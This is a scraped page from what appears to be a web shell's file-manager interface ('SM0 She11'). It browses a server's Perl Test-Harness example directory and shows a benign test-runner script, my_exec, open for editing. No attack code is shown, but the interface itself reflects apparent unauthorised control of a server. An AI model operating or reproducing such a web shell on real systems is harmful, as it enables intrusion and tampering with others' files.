SM0 She11

Path: / / usr / share / doc / perl-Test-Harness-3.28 / examples

Full Path (server): /usr/share/doc/perl-Test-Harness-3.28/examples

Create Fil3

Upl04d Fil3

• 📄 README [E] [D]
  [R]
• 📄 analyze_tests.pl [E] [D]
  [R]
• 📁 bin Open [D]
  [R]
• 📁 harness-hook Open [D]
  [R]
• 📄 my_exec [E] [D]
  [R]
• 📄 silent-harness.pl [E] [D]
  [R]
• 📁 t Open [D]
  [R]
• 📄 test_urls.txt [E] [D]
  [R]

Editing: my_exec

#!/usr/bin/perl use strict; use warnings; my $url = qr/^http/; my $prog = shift; if ( $prog !~ $url && !-e $prog ) { die "Cannot find ($prog)"; } my @exec; if ( 't/ruby.t' eq $prog ) { push @exec => '/usr/bin/ruby', $prog; } elsif ( $prog =~ $url ) { push @exec => 'bin/test_html.pl', $prog; } else { push @exec, $prog; } exec @exec or die "Cannot (exec @exec): $!";
Save